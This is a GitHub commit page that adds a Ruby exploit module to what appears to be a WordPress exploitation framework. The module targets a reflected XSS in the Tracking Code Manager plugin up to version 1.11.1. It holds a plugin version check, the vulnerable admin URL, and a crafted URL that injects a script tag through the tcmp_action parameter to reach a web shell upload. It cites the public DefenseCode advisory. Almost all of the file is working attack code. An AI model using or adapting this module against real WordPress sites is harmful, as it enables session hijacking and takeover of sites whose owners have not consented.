Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 0291981

Browse files
committed
Add Tracking Code Manager reflected XSS shell upload
1 parent 2a1f2ee commit 0291981

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
class Wpxf::Exploit::TrackingCodeManagerReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Tracking Code Manager <= 1.11.1 Reflected XSS Shell Upload',
9+
author: [
10+
'DefenseCode <www.defensecode.com>', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8813'],
15+
['URL', 'http://www.defensecode.com/advisories/DC-2017-01-020_WordPress_Tracking_Code_Manager_Plugin_Advisory.pdf']
16+
],
17+
date: 'May 11 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_changelog('tracking-code-manager', 'readme.txt', '1.11.2')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php')
27+
end
28+
29+
def url_with_xss
30+
"#{vulnerable_url}?page=tracking-codemanager&tab=editor&tcmp_action=%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%"
31+
end
32+
end

0 commit comments

Comments
 (0)